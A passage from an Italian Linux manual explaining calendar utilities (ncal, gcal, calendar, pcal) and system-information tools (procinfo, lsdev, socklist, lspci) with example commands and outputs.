Il programma '**ncal**' [3] funziona in modo simile a '**cal**' (spesso si tratta dello stesso programma che si comporta in modo diverso a seconda del nome con cui lo si chiama), ma in più consente di calcolare il giorno di pasqua e di tenere conto della località per considerare l'entrata in vigore della riforma gregoriana.

ncal [*opzioni*] [-s *codice_paese*] [[*mese*] *anno*]

Il modello sintattico mostrato è generalizzato, ma in pratica, le opzioni che servono a calcolare il giorno di pasqua di un certo anno, sono in conflitto con quelle che servono a mostrare un calendario.

Tabella 12.7. Alcune opzioni.

Opzione	Descrizione
-j -m -y	Queste opzioni funzionano come per '**cal**'.
-J	Mostra il calendario giuliano.
-p	Questa opzione, usata da sola, serve a mostrare l'elenco dei codici di identificazione dei paesi, da usare eventualmente con l'opzione '**-s**'. A fianco di ogni codice, appare la data presunta dell'entrata in vigore della riforma gregoriana.
-s *codice_paese*	Richiede espressamente di calcolare la data, tenendo conto dell'entrata in vigore della riforma gregoriana, secondo il codice che deve indicare il paese a cui si vuole fare riferimento. In mancanza di questa opzione, il programma tenta di determinare il paese dalla configurazione locale.
-o [*anno*]	Questa opzione, usata da sola, mostra la data della pasqua delle chiese ortodosse.
-e [*anno*]	Questa opzione, usata da sola, mostra la data della pasqua delle chiese occidentali (non ortodosse).

Segue la descrizione di alcuni esempi.

- $ **ncal -p** [*Invio*]

```
AL Albania        1912-11-30      IT Italy          1582-10-04
AT Austria        1583-10-05      JP Japan          1918-12-18
AU Australia      1752-09-02      LI Lithuania      1918-02-01
BE Belgium        1582-12-14      LN Latin          9999-05-31
BG Bulgaria       1916-03-18      LU Luxembourg     1582-12-14
CA Canada         1752-09-02      LV Latvia         1918-02-01
CH Switzerland    1655-02-28      NL Netherlands    1582-12-14
CN China          1911-12-18      NO Norway         1700-02-18
CZ Czech Republic 1584-01-06      PL Poland         1582-10-04
DE Germany        1700-02-18      PT Portugal       1582-10-04
DK Denmark        1700-02-18      RO Romania        1919-03-31
ES Spain          1582-10-04      RU Russia         1918-01-31
FI Finland        1753-02-17      SI Slovenia       1919-03-04
FR France         1582-12-09      SE Sweden         1753-02-17
GB United Kingdom 1752-09-02      TR Turkey         1926-12-18
GR Greece         1924-03-09      US United States  1752-09-02
HU Hungary        1587-10-21      YU Yugoslavia     1919-03-04
IS Iceland        1700-11-16
```

- $ **ncal -s IT 10 1582** [*Invio*]

  Mostra il mese di ottobre 1582 italiano, tenendo conto che la riforma gregoriana dovrebbe essere entrata in vigore il giorno 4 di quel mese:

```
    Ottobre 1582
lu  1 18 25
ma  2 19 26
me  3 20 27
gi  4 21 28
ve 15 22 29
sa 16 23 30
do 17 24 31
```

- $ **ncal -e 2005** [*Invio*]

```
27 marzo 2005
```

  Mostra il giorno di pasqua dell'anno 2005.

12.4 Utilizzo di «gcal»

Il programma '**gcal**' [4] consente di ottenere un calendario, secondo vari formati, in grado di riconoscere il momento dell'introduzione della riforma gregoriana in base alla configurazione locale.

gcal [*opzioni*] [*comando*]

Il modello sintattico mostrato è semplificato rispetto alla documentazione originale, ma occorre tenere presente che questo programma è ricco di opzioni e di argomenti particolari, che qui vengono omessi. Probabilmente '**`gcal`**' è la soluzione «definitiva» al problema della gestione di un calendario, ma occorre leggere la documentazione originale, costituita dal documento *info gcal*. Qui vengono mostrati solo alcuni esempi banali, ignorando completamente tutte le potenzialità del programma.

- `$` **`gcal`** [*Invio*]

  Mostra il calendario del mese e dell'anno in corso, evidenziando il giorno corrente (in questo caso si tratta del 23 settembre 2004).

  ```
  September 2004

  Monday          6 13 20 27
  Tuesday         7 14 21 28
  Wednesday    1  8 15 22 29
  Thursday     2  9 16<23>30
  Friday       3 10 17 24
  Saturday     4 11 18 25
  Sunday       5 12 19 26
  ```

- `$` **`gcal 11 2004`** [*Invio*]

  Mostra il calendario del mese di novembre 2004.

  ```
  November 2004

  Monday       1  8 15 22 29
  Tuesday      2  9 16 23 30
  Wednesday    3 10 17 24
  Thursday     4 11 18 25
  Friday       5 12 19 26
  Saturday     6 13 20 27
  Sunday       7 14 21 28
  ```

- `$` **`gcal 2004`** [*Invio*]

  Mostra il calendario dell'anno 2004.

```
                                    2004



     January            February           March              April

Mo        5 12 19 26         2  9 16 23     1  8 15 22 29         5 12 19 26
Tu        6 13 20 27         3 10 17 24     2  9 16 23 30         6 13 20 27
We        7 14 21 28         4 11 18 25     3 10 17 24 31         7 14 21 28
Th     1  8 15 22 29         5 12 19 26     4 11 18 25         1  8 15 22 29
Fr     2  9 16 23 30         6 13 20 27     5 12 19 26         2  9 16 23 30
Sa     3 10 17 24 31         7 14 21 28     6 13 20 27         3 10 17 24
Su     4 11 18 25         1  8 15 22 29     7 14 21 28         4 11 18 25
```

```
      May                June               July               August

 Mo        3 10 17 24 31       7 14 21 28          5 12 19 26         2  9 16 23 30
 Tu        4 11 18 25     1  8 15 22 29          6 13 20 27         3 10 17 24 31
 We        5 12 19 26     2  9 16 23 30          7 14 21 28         4 11 18 25
 Th        6 13 20 27     3 10 17 24          1  8 15 22 29         5 12 19 26
 Fr        7 14 21 28     4 11 18 25          2  9 16 23 30         6 13 20 27
 Sa     1  8 15 22 29     5 12 19 26          3 10 17 24 31         7 14 21 28
 Su     2  9 16 23 30     6 13 20 27          4 11 18 25         1  8 15 22 29

      September          October            November           December

 Mo        6 13 20 27          4 11 18 25     1  8 15 22 29         6 13 20 27
 Tu        7 14 21 28          5 12 19 26     2  9 16 23 30         7 14 21 28
 We     1  8 15 22 29          6 13 20 27     3 10 17 24         1  8 15 22 29
 Th     2  9 16<23>30          7 14 21 28     4 11 18 25         2  9 16 23 30
 Fr     3 10 17 24        1  8 15 22 29     5 12 19 26         3 10 17 24 31
 Sa     4 11 18 25        2  9 16 23 30     6 13 20 27         4 11 18 25
 Su     5 12 19 26        3 10 17 24 31     7 14 21 28         5 12 19 26
```

- $ **echo $LANG** [*Invio*]

  ```
  it_IT
  ```

  $ **gcal 10 1582** [*Invio*]

  ```
  October 1582

  Monday        1 18 25
  Tuesday       2 19 26
  Wednesday     3 20 27
  Thursday      4 21 28
  Friday       15 22 29
  Saturday     16 23 30
  Sunday       17 24 31
  ```

  Mostra il calendario del mese di ottobre 1582, durante il quale entra in vigore la riforma gregoriana. Si osservi che la configurazione della variabile di ambiente ***LANG*** fa riferimento all'Italia.

12.5 Utilizzo di «calendar»

Il programma '**calendar**'[5] serve a ricordare delle date importanti, attraverso un meccanismo molto semplice, il quale prevede almeno un file contenente delle righe, ognuna con una data e l'annotazione da ricordare:

```
calendar [opzioni]
```

Normalmente il programma viene usato senza argomenti, per ottenere l'elenco delle cose da ricordare per il giorno attuale e quello successivo (se ci si trova nel finesettimana, le informazioni possono prolungarsi fino al lunedì successivo).

Le date o le scadenze da ricordare possono essere memorizzate in uno o più file. Volendo semplificare, può trattarsi del file '`calendar`' collocato nella directory corrente, oppure del file '`~/.calendar`', o anche di '`~/.calendar/calendar`'; in mancanza di uno di questi file personali, il programma va a cercare qualcosa che può essere generalizzato per tutto il sistema (nella directory '`/etc/calendar/`' o all'interno di '`/usr/share/calendar/`'). La gestione di questi file può essere anche molto complicata, pertanto, se serve, si deve consultare la pagina di manuale *calendar(1)*.

In condizioni normali, quando si installa il pacchetto che contiene il programma '**calendar**', si ottiene anche una configurazione predefinita con tante ricorrenze utili o curiose:

$ **calendar** [*Invio*]

```
set 15  Agatha Christie born in Torquay, England, 1890
set 15  ACM founded, 1947
set 15  Soviet Premier Nikita Khrushchev begins his 13 day tour of the US, 1959
set 15  The US Foreign Affairs Dept. becomes the US State Department, 1789
set 15  Foundation of Panama in Panama
set 15  Aujourd'hui, c'est la St(e) Roland.
set 15  La rosée de saint Albin
        est, dit-on, rosée de vin.
set 15  Wahl von Konrad Adenauer (CDU) zum Bundeskanzler, 1949
set 15  Nürnberger Gesetze, 1935
set 16  Allen Funt born in Brooklyn, NY, 1914
set 16  The village of Shawmut, Massachusetts, becomes the city of Boston, 1630
set 16  Malaya, Sabah, Sarawak and Singapore unite to become Malaysia, 1963
set 16  Cherokee Strip Day in Oklahoma
set 16  Independence Days in Mexico and Papua New Guinea
set 16  B.B. King is born in Itta Bena, Mississippi, 1925
set 16  N'oubliez pas les Édith !
```

Quando invece l'utente predispone il proprio file '`~/calendar`', o '`~/.calendar/calendar`', tutto questo sparisce, a meno di richiamarlo in modo esplicito.

Il file che contiene le ricorrenze o le scadenze da ricordare, può anche essere piuttosto complesso. In generale conviene limitarsi a scrivere righe secondo la sintassi seguente, senza commenti e lasciando eventualmente solo righe vuote o bianche:

data*<HT>*descrizione

Tra la data e la descrizione ci deve essere un codice di tabulazione orizzontale (<*HT*>), che diventa l'unico modo per distinguere dove finisce un'informazione e dove incomincia l'altra. Tuttavia, nonostante la semplicità estrema di questa notazione, occorre fare attenzione a scrivere la data in modo che il programma sia in grado di riconoscerla. Sono ammissibili diverse modalità; per esempio si può mettere la sigla del mese secondo le convenzioni della propria nazionalità, ma in generale, è meglio usare delle sigle numeriche dove possibile e limitarsi alla lingua inglese per le denominazioni dei giorni della settimana o della festa pasquale. Segue un esempio di questo file che mostra diversi casi, dove in particolare le date che si riferiscono a una festività vanno segnate alla fine con un asterisco:

```
09.15	Ricordati di fare gli auguri a Tizio che è nato il 15 settembre 1970.
09.17	Ricordati di fare gli auguri a Caio che è nato il 17 settembre 1980.
Sun	Buona domenica!
.1	Inizio del mese.
.15	Seconda metà del mese.
Easter*	Buona pasqua!
Easter-2*	Buona venerdì di pasqua, fra due giorni è la domenica di pasqua.
09 Wed+1	Primo mercoledì di settembre.
09 Wed+2	Secondo mercoledì di settembre.
09 Wed+3	Terzo mercoledì di settembre.
09 Wed-3	Terzultimo mercoledì di settembre.
09 Wed-2	Penultimo mercoledì di settembre.
09 Wed-1	Ultimo mercoledì di settembre.
Tue	"De venare e de marte, no se se sposa e no se parte"
Fri	"De venare e de marte, no se se sposa e no se parte"
```

Ecco cosa si potrebbe ottenere; si osservi anche il giorno previsto dall'esempio:

$ **date** [*Invio*]

```
Wed Sep 15 21:50:03 CEST 2004
```

$ **cal** [*Invio*]

```
   September 2004
Su Mo Tu We Th Fr Sa
          1  2  3  4
 5  6  7  8  9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30
```

$ **calendar** [*Invio*]

```
Sep 15  Ricordati di fare gli auguri a Tizio che è nato il 15 settembre 1970.
Sep 15  Seconda metà del mese.
Sep 15  Terzo mercoledì di settembre.
Sep 15  Terzultimo mercoledì di settembre.
```

Eventualmente, si può utilizzare il file seguente per le ricorrenze italiane comuni:

```
easter* domenica di pasqua
easter+1*       lunedì dell'angelo
easter-47*      martedì grasso
easter-46*      mercoledì delle ceneri
easter-7*       domenica delle palme

1.1*    capodanno
1.6*    epifania
4.1     pesce di aprile
4.25*   liberazione
5.1*    festa del lavoro
8.15*   ferragosto
11.1*   tutti i santi
12.8*   immacolata
12.25*  natale
12.26*  S. Stefano
12.31   ultimo dell'anno
```

Per la descrizione delle opzioni eventuali e degli altri modi possibili per scrivere le date delle ricorrenze, si può consultare la pagina di manuale *calendar(1)*.

12.6 Utilizzo di «pcal»

Il programma '**pcal**'[6] consente di ottenere un calendario in forma di file PostScript o di file HTML. Ciò consente di produrre un risultato stampato di qualità ottima oppure un file adatto alla pubblicazione elettronica. Questo programma consente anche di predisporre un file di ricorrenze o di scadenze da utilizzare per inserire delle note nel calendario che si ottiene. Questo file di ricorrenze e di scadenze può essere costruito anche cercando di ottenere una compatibilità minima con il programma '**calendar**'.

pcal [*opzioni*] [*anno* | {*mese* *anno*} | {*mese_inizio* *anno* *n_mesi*}]

Tralasciando inizialmente le opzioni, si può osservare dal modello sintattico che è possibile fare a meno di qualunque argomento; in tal caso si ottiene dallo standard output un file PostScript con il calendario del mese in corso. Se si indica un numero, si intende che si vuole ottenere tutto il calendario di quell'anno; se si mettono due numeri, si intende ottenere il calendario di un certo mese e di un certo anno; infine, se si indicano tre numeri, si vuole il calendario a partire da un certo mese, di un certo anno, per un totale di un certo numero di mesi.

Il programma '**pcal**' cerca un file contenente le ricorrenze o le scadenze da ricordare, tra diverse possibilità. In generale conviene usare per questo il file '`~/.calendar`', oppure è anche

meglio usare l'opzione '`-f`' per indicare direttamente quale file usare per questo. All'interno di questo file si possono annotare dei commenti, preceduti dal cancelletto ('`#`'), si possono anche lasciare righe vuote o bianche e il resto delle righe deve essere costituito da direttive nella forma seguente:

data<HT>...***descrizione***

La data potrebbe essere separata dalla descrizione anche da più di uno spazio normale, ma conviene usare la forma mostrata (con il carattere di tabulazione, singolo o ripetuto), per avere più possibilità di usare questo file anche con altri programmi.

La data, o comunque il riferimento alla ricorrenza può essere indicato con una varietà di possibilità, che possono essere approfondite eventualmente leggendo la documentazione originale, ovvero la pagina di manuale *pcal(1)*; qui viene mostrato un solo esempio che intende rappresentare le festività e le ricorrenze principali secondo la tradizione italiana:

```
#
# Ricorrenze legate in qualche modo al periodo pasquale.
#
easter*                 domenica di pasqua
1st day after easter*   lunedì dell'angelo
47th day before easter* martedì grasso
46th day before easter* mercoledì delle ceneri
7th day before easter*  domenica delle palme
#
# Ora estiva.
#
last sunday in march    passaggio all'ora estiva (+1 ora)
last sunday in october  fine dell'ora estiva (-1 ora)
#
# Ricorrenze fisse.
#
1.1*                    capodanno
1.6*                    epifania
4.1                     pesce di aprile
4.25*                   liberazione
5.1*                    festa del lavoro
8.15*                   ferragosto
11.1*                   tutti i santi
12.8*                   immacolata
12.25*                  Natale
12.26*                  S. Stefano
12.31                   ultimo dell'anno
```

Nell'esempio si può osservare l'asterisco alla fine delle date che rappresentano una festività, da segnalare in modo speciale nel calendario. Si osservi anche che le date composte da giorno e mese, sono formate mettendo il mese per primo, secondo la convenzione che si usa nella lingua inglese, per non dover usare opzioni particolari nella riga di comando del programma.

Tabella 12.23. Alcune opzioni.

Opzione	Significato mnemonico	Descrizione
`-e`	*empty*	Genera un calendario «vuoto», nel senso che si ignorano le annotazioni delle ricorrenze o delle scadenze che possono essere disponibili nel file appropriato.
`-f` ***file***	*file*	Consente di specificare esplicitamente quale file usare per acquisire le ricorrenze o le scadenze.
`-o` ***file***	*output*	Consente di specificare il nome del file da generare, evitando così di ottenere il risultato dallo standard output
`-l`	*landscape*	Fa in modo che il risultato da stampare sia orientato in modo orizzontale. Questo è comunque il comportamento predefinito.
`-p`	*portrait*	Fa in modo che il risultato da stampare sia orientato in modo verticale.
`-j`	*julian*	Fa in modo che venga stampata anche la data giuliana, ovvero il numero del giorno dell'anno.
`-J`	*julian*	Fa in modo che venga stampata anche la data giuliana e la quantità di giorni rimanenti nell'anno.
`-m`	*moon*	Fa sì che vengano inserite le icone delle fasi lunari principali
`-M`	*moon*	Fa sì che per ogni giorno ci sia un'icona con la fase lunare.
`-b` ***giorno*** [`-`***giorno***]	*black*	Fa sì che il giorno o l'intervallo di giorni della settimana indicati siano rappresentati normalmente; per esempio si usa questa opzione per fare in modo che il sabato appaia come un giorno lavorativo comune.
`-F` ***giorno***	*first*	Fa in modo che il giorno della settimana indicato appaia per primo nella sequenza della settimana.
`-A`	*american*	Con questa opzione si dice al programma di interpretare le date come si fa nei paesi di lingua inglese, dove il mese precede il giorno. Questo comportamento è predefinito.
`-E`	*european*	Con questa opzione si dice al programma di interpretare le date come si fa nei paesi europei nei quali si usa mettere il giorno prima del mese.
`-H`	*html*	Genera un file in formato HTML.
`-a` ***linguaggio***		Consente di specificare la lingua da usare per i nomi dei giorni e dei mesi. La sigla del linguaggio è di due caratteri.

Segue la descrizione di alcuni esempi, dove si utilizza il file '`.calendar`' con il contenuto mostrato in precedenza.

- `$` **`pcal > calendario.ps`** [*Invio*]

  Genera il file '`calendario.ps`' con i dati del mese in corso. Il risultato potrebbe essere simile a quello seguente:

September 2004

Sunday	Monday	Tuesday	Wednesday	Thursday	Friday	Saturday
			1	2	3	4
5	6	7	8	9	10	11
12	13	14	15	16	17	18
19	20	21	22	23	24	25
26	27	28	29	30		

August 2004

1	2	3	4	5	6	7
8	9	10	11	12	13	14
15	16	17	18	19	20	21
22	23	24	25	26	27	28
29	30	31				

October 2004

					1	2
3	4	5	6	7	8	9
10	11	12	13	14	15	16
17	18	19	20	21	22	23
24	25	26	27	28	29	30
31						

- $ **`pcal -o calendario.ps`** [*Invio*]

  Fa esattamente la stessa cosa del comando precedente.

- $ **`pcal -f .calendar -o calendario.ps`** [*Invio*]

  Dichiara espressamente l'uso del file '`.calendar`' (contenuto nella directory corrente) per inserire nel calendario ricorrenze o scadenze.

- $ **`pcal -m -o calendario.ps`** [*Invio*]

  Fa in modo che vengano mostrate le fasi lunari principali.

- $ **`pcal -M -o calendario.ps`** [*Invio*]

  Fa in modo che vengano mostrate le fasi lunari in ogni giorno.

- $ **`pcal -b sat -M -o calendario.ps`** [*Invio*]

  Rispetto all'esempio precedente, fa in modo che il sabato appaia come un giorno lavorativo normale.

- $ **`pcal -F mon -b sat -M -o calendario.ps`** [*Invio*]

  Rispetto all'esempio precedente, fa in modo che le settimane inizino dal lunedì.

- $ **`pcal -F mon -b sat -M -a it -o calendario.ps`** [*Invio*]

  Rispetto all'esempio precedente, fa in modo che la denominazione dei mesi e delle settimane appaia in lingua italiana.

- $ **`pcal -F mon -b sat -M -a it -o calendario.ps 3 2005`** [*Invio*]

  Rispetto all'esempio precedente, fa in modo di generare la pagina del mese di marzo dell'anno 2005. Il suo aspetto dovrebbe essere quello seguente:

Marzo 2005

Lunedì	Martedì	Mercoledì	Giovedì	Venerdì	Sabato	Domenica
	1	2	3	4	5	6
7	8	9	10	11	12	13
14	15	16	17	18	19	20 domenica delle palme
21	22	23	24	25	26	27 domenica di pasqua passaggio all'ora estiva (+1 ora)
28 lunedì dell'angelo	29	30	31			

Febbraio 2005

	1	2	3	4	5	6
7	8	9	10	11	12	13
14	15	16	17	18	19	20
21	22	23	24	25	26	27
28						

Aprile 2005

				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	

- `$ `**`pcal -F mon -b sat -M -a it -o calendario.ps 2005`** [*Invio*]

  Rispetto all'esempio precedente, genera il calendario di tutto l'anno 2005.

- `$ `**`pcal -F mon -b sat -M -a it -H -o calendario.html 2005`** [*Invio*]

  Rispetto all'esempio precedente, genera il calendario in formato HTML. Le fasi lunari potrebbero mancare.

12.7 File di ricorrenze e scadenze compatibile

I programmi '**`calendar`**' e '**`pcal`**' usano un file per le ricorrenze o le scadenze che ha caratteristiche simili, anche se non identiche. Tuttavia, se non si hanno grosse pretese, si può riuscire a realizzare un file unico, rispettando delle limitazioni: non si devono usare commenti, le date devono essere separate dalla descrizione attraverso stop di tabulazione, l'ultima direttiva deve essere conclusa da un codice di interruzione di riga.

Purtroppo il modo di rappresentare le date non è perfettamente compatibile, ma si può riuscire a scrivere qualcosa anche in modo ridondante, quando necessario. L'esempio seguente può funzionare sia con '**`calendar`**', sia con '**`pcal`**', anche se si possono osservare delle segnalazioni di errore a proposito di alcune righe che non vengono interpretate. Si osservi la necessità di usare direttive doppie per i calcoli relativi ai giorni collegati in qualche modo al periodo pasquale.

```
easter*                  domenica di pasqua
easter+1*                lunedì dell'angelo
1st day after easter*    lunedì dell'angelo
easter-47*               martedì grasso
47th day before easter* martedì grasso
easter-46*               mercoledì delle ceneri
46th day before easter* mercoledì delle ceneri

easter-7*                domenica delle palme
7th day before easter*   domenica delle palme

last sunday in march     passaggio all'ora estiva (+1 ora)
last sunday in october   fine dell'ora estiva (-1 ora)

1.1*                     capodanno
1.6*                     epifania
4.1                      pesce di aprile
4.25*                    liberazione
5.1*                     festa del lavoro
8.15*                    ferragosto
11.1*                    tutti i santi
12.8*                    immacolata
12.25*                   natale
12.26*                   S. Stefano
12.31                    ultimo dell'anno
```

Si osservi in particolare che le direttive che si riferiscono al cambio dell'ora estiva non vengono prese in considerazione da '**`calendar`**'.

[1] **BSD utils** UCB BSD

[2] **Ccal** dominio pubblico

[3] **BSD utils** UCB BSD

[4] **Gcal** GNU GPL

[5] **BSD utils** UCB BSD

[6] **Pcal** software libero con licenza speciale

Capitolo 13

Informazioni varie

13.1 Pacchetto Procinfo 545

13.1.1 Utilizzo di «procinfo» 545
13.1.2 Utilizzo di «lsdev» 547
13.1.3 Utilizzo di «socklist» 548

13.2 Pacchetto Linux PCI utilities 549

13.3 Lsusb 551

13.4 Lshw 552

13.5 Definizione del nome del sistema 554

13.6 Altre caratteristiche identificative del sistema 555

13.7 Numero di serie 555

13.8 LinuxInfo 556

`hostid` 555 `hostname` 554 554 `lsdev` 547 `lshw` 552 `lspci` 549 `lssub` 551 procinfo`pcal` 545 `socklist` 548 `uname` 555 `$HOSTNAME` 554

In questo capitolo si descrivono sommariamente alcuni programmi che forniscono delle informazioni varie sul sistema in funzione, non avendo trovato una collocazione più specifica nella trattazione di altri argomenti.

13.1 Pacchetto Procinfo

La quantità di informazioni disponibili all'interno di '`/proc/`' è enorme; inoltre, con l'evolversi dei kernel cambiano i contenuti dei file virtuali e anche la loro collocazione. A questo proposito sono utili i programmi del pacchetto Procinfo[1] che aiutano ad analizzare tali informazioni per generare dei resoconti e delle statistiche più facili da consultare.

13.1.1 Utilizzo di «procinfo»

Il programma '**`procinfo`**' è quello che, dal pacchetto omonimo, dà le informazioni più comuni sulla gestione dei processi di un sistema GNU/Linux. I dati vengono visualizzati in forma più o meno tabellare e i campi sono indicati attraverso dei nomi. Il significato di alcuni di questi è descritto nella tabella 13.1.

```
procinfo [opzioni]
```

Tabella 13.1. Alcuni dei nomi utilizzati per descrivere i campi delle tabelle generate da '**procinfo**'.

Nome	Descrizione
Memory:	Utilizzo della memoria.
Bootup:	Data e ora dell'avvio del sistema.
Load average:	Carico medio.
user:	Tempo per i processi avviati dagli utenti.
nice:	Tempo per i processi avviati con un valore nice.
system:	Tempo per i processi avviati dal kernel.
idle:	Tempo non utilizzato.
uptime:	Tempo complessivo di funzionamento.
irq ***n***:	Numero di interruzioni e dispositivo corrispondente.
Modules:	Moduli del kernel installati.
Character Devices:	Elenco dei dispositivi a caratteri.
Block Devices:	Elenco dei dispositivi a blocchi.
File Systems:	Tipi di file system gestibili.

Quando '**procinfo**' viene utilizzato senza argomenti si ottengono le informazioni più importanti che possono essere visualizzate su uno schermo normale, per esempio ciò che viene mostrato di seguito:

```
Linux 2.6.14.3 (root@nanohost) (gcc 4.0.2 ) #1 1CPU [nanohost]

Memory:      Total        Used        Free      Shared     Buffers
Mem:        513468      120976      392492           0       21008
Swap:      5462092           0     5462092

Bootup: Fri Feb 24 08:15:09 2006    Load average: 0.03 0.01 0.00 1/62 7861

user  :       0:00:35.80   0.3%  page in :    21573  disk 1:      105r       0w
nice  :       0:00:00.00   0.0%  page out:        0
system:       0:00:38.61   0.3%  page act:    10203
IOwait:       0:02:08.19   0.9%  page dea:        0
hw irq:       0:00:00.82   0.0%  page flt:  1679805
sw irq:       0:00:04.65   0.0%  swap in :        0
idle  :       3:44:32.08  98.5%  swap out:        0
uptime:       3:48:01.64         context :   535302

irq  0:   3419830 timer                 irq 12:     95199 i8042
irq  1:      8465 i8042                 irq 14:      2192 ide0
irq  2:         0 cascade [4]           irq 15:     15393 ide1
irq  3:         3                       irq 17:         0 Intel 82801BA-ICH2
irq  4:         3                       irq 18:     81824 eth0
irq  6:         9                       irq 19:         0 uhci_hcd:usb1
irq  8:         5 rtc                   irq 23:         0 uhci_hcd:usb2
```

Eventualmente, '**procinfo**' può essere utilizzato per ottenere un'informazione continua (o quasi), come fa il programma '**top**'. In questo senso può essere stabilita una pausa tra un aggiornamento e il successivo. Durante questo funzionamento continuo, si possono utilizzare alcuni comandi interattivi, composti da una lettera singola, il cui significato tende a essere coerente con quello delle opzioni della riga di comando. In modo particolare, il comando '**q**' termina il funzionamento continuo di '**procinfo**'.

Tabella 13.3. Alcune opzioni.

Sintassi	Descrizione
`-f`	Fa sì che '**`procinfo`**' funzioni in modo continuo, a tutto-schermo.
`-n`***n_secondi***	Questa opzione implica automaticamente la selezione di '**`-f`**' e serve a stabilire un intervallo tra un aggiornamento e l'altro delle informazioni visualizzate.
`-m`	Mostra le informazioni sui moduli e sui dispositivi a caratteri e a blocchi, trascurando i dati relativi alla CPU e alla memoria.
`-a`	Mostra tutte le informazioni disponibili, ma per questo non bastano le dimensioni di uno schermo normale.
`-d`	Mostra le informazioni normali, cioè quelle sull'utilizzo della CPU, della memoria e delle interruzioni (*interrupt*), ma riferite a periodi di un secondo. Ciò richiede il funzionamento di '**`procinfo`**' in modo continuo, pertanto questa opzione implica automaticamente l'uso di '**`-f`**'.
`-F`***file***	Ridirige l'output in un file, che di solito corrisponde al dispositivo di una console virtuale inutilizzata.

13.1.2 Utilizzo di «lsdev»

Il programma '**`lsdev`**' si limita a mostrare una tabella con informazioni tratte dai file '`/proc/interrupts`', '`/proc/ioports`' e '`/proc/dma`'. In pratica mostra tutti gli indirizzi relativi all'hardware installato.

```
lsdev
```

Il risultato che si ottiene potrebbe essere simile a quello seguente:

```
Device              DMA   IRQ  I/O Ports
------------------------------------------------
                       0  1  2  4  9  12  13  14  15
cascade             4
dma                            0080-008f
dma1                           0000-001f
dma2                           00c0-00df
eth0                           ff80-ff9f
fdomain                        ffa0-ffaf
fpu                            00f0-00ff
ide0                           01f0-01f7  03f6-03f6  8000-8007
ide1                           0170-0177  0376-0376  8008-800f
keyboard                       0060-006f
parport0                       0378-037a
pic1                           0020-003f
pic2                           00a0-00bf
serial                         02f8-02ff  03f8-03ff
timer                          0040-005f
vga+                           03c0-03df
```

13.1.3 Utilizzo di «socklist»

Il programma '**socklist**' si limita a mostrare una tabella con informazioni tratte dai file '/proc/net/tcp', '/proc/net/udp' e '/proc/net/raw', integrandoli con le informazioni relative ai descrittori dei file di ogni processo, ovvero '/proc/*/fd/*'.

```
socklist
```

Si tratta di informazioni utili per ciò che riguarda la gestione della rete, tuttavia questo programma viene mostrato qui per completare l'argomento del capitolo. Di seguito viene mostrato un esempio del risultato che si può ottenere con '**socklist**'.

```
type  port      inode     uid     pid    fd   name
tcp     80        246       0       0     0
tcp   8080        245       0       0     0
tcp     25        230       0       0     0
tcp   2049        215       0       0     0
tcp    515        205       0       0     0
tcp    635        195       0       0     0
tcp     53        169       0       0     0
tcp     53        167       0       0     0
tcp     98        156       0       0     0
tcp    113        155       0       0     0
tcp     37        153       0       0     0
tcp     79        152       0       0     0
tcp    143        151       0       0     0
```

```
tcp     110      150     0      0     0
tcp     109      149     0      0     0
tcp     513      146     0      0     0
tcp     514      145     0      0     0
tcp      70      144     0      0     0
tcp      23      143     0      0     0
tcp      21      142     0      0     0
tcp     111      106     0      0     0
udp    2049      212     0      0     0
udp     635      190     0      0     0
udp    1024      170     0      0     0
udp      53      168     0      0     0
udp      53      166     0      0     0
udp      37      154     0      0     0
udp     518      148     0      0     0
udp     517      147     0      0     0
udp     514      115     0      0     0
udp     111      105     0      0     0
raw       1        0     0      0     0
raw       6        0     0      0     0
```

13.2 Pacchetto Linux PCI utilities

Il pacchetto Linux PCI utilities contiene in particolare il programma '**lspci**'[2] con il quale è possibile conoscere tutte le informazioni disponibili sul bus PCI:

```
lspci [opzioni]
```

Attraverso le opzioni è possibile avere una rappresentazione diversa delle informazioni, ma nella maggior parte dei casi è sufficiente l'utilizzo di '**lspci**' senza argomenti:

$ **lspci** [*Invio*]

```
00:00.0 Host bridge: VIA Technologies, Inc. VT82C693A/694x ↩
↪[Apollo PRO133x] (rev 44)
00:01.0 PCI bridge: VIA Technologies, Inc. VT82C598/694x ↩
↪[Apollo MVP3/Pro133x AGP]
00:07.0 ISA bridge: VIA Technologies, Inc. VT82C596 ISA [Mobile South] (rev 23)
00:07.1 IDE interface: VIA Technologies, Inc. ↩
↪VT82C586A/B/VT82C686/A/B/VT8233/A/C/VT8235 PIPC Bus Master IDE (rev 10)
00:07.2 USB Controller: VIA Technologies, Inc. USB (rev 11)
00:07.3 Host bridge: VIA Technologies, Inc. VT82C596 Power Management (rev 30)
00:11.0 Ethernet controller: VIA Technologies, Inc. VT6102 [Rhine-II] (rev 42)
00:12.0 VGA compatible controller: S3 Inc. ViRGE/DX or /GX (rev 01)
00:13.0 Multimedia audio controller: Creative Labs SB Live! EMU10k1 (rev 08)
00:13.1 Input device controller: Creative Labs SB Live! MIDI/Game Port (rev 08)
00:14.0 SCSI storage controller: Adaptec AIC-7861 (rev 01)
```

Eventualmente basta l'opzione '**-v**' per ottenere maggiori informazioni:

$ **lspci -v** [*Invio*]

```
00:00.0 Host bridge: VIA Technologies, Inc. VT82C693A/694x ↩
↪[Apollo PRO133x] (rev 44)
        Flags: bus master, medium devsel, latency 0
        Memory at d0000000 (32-bit, prefetchable) [size=64M]
        Capabilities: <available only to root>

00:01.0 PCI bridge: VIA Technologies, Inc. VT82C598/694x ↩
↪[Apollo MVP3/Pro133x AGP] (prog-if 00 [Normal decode])
        Flags: bus master, 66Mhz, medium devsel, latency 0
        Bus: primary=00, secondary=01, subordinate=01, sec-latency=0
        Capabilities: <available only to root>

00:07.0 ISA bridge: VIA Technologies, Inc. VT82C596 ISA [Mobile South] (rev 23)
        Subsystem: VIA Technologies, Inc. VT82C596/A/B PCI to ISA Bridge
        Flags: bus master, stepping, medium devsel, latency 0

00:07.1 IDE interface: VIA Technologies, Inc. ↩
↪VT82C586A/B/VT82C686/A/B/VT8233/A/C/VT8235 PIPC Bus Master IDE ↩
↪(rev 10) (prog-if 8a [Master SecP PriP])
        Flags: bus master, medium devsel, latency 32
        I/O ports at d000 [size=16]
        Capabilities: <available only to root>

00:07.2 USB Controller: VIA Technologies, Inc. USB (rev 11) (prog-if 00 [UHCI])
        Subsystem: VIA Technologies, Inc. (Wrong ID) USB Controller
        Flags: bus master, medium devsel, latency 32, IRQ 11
        I/O ports at d400 [size=32]
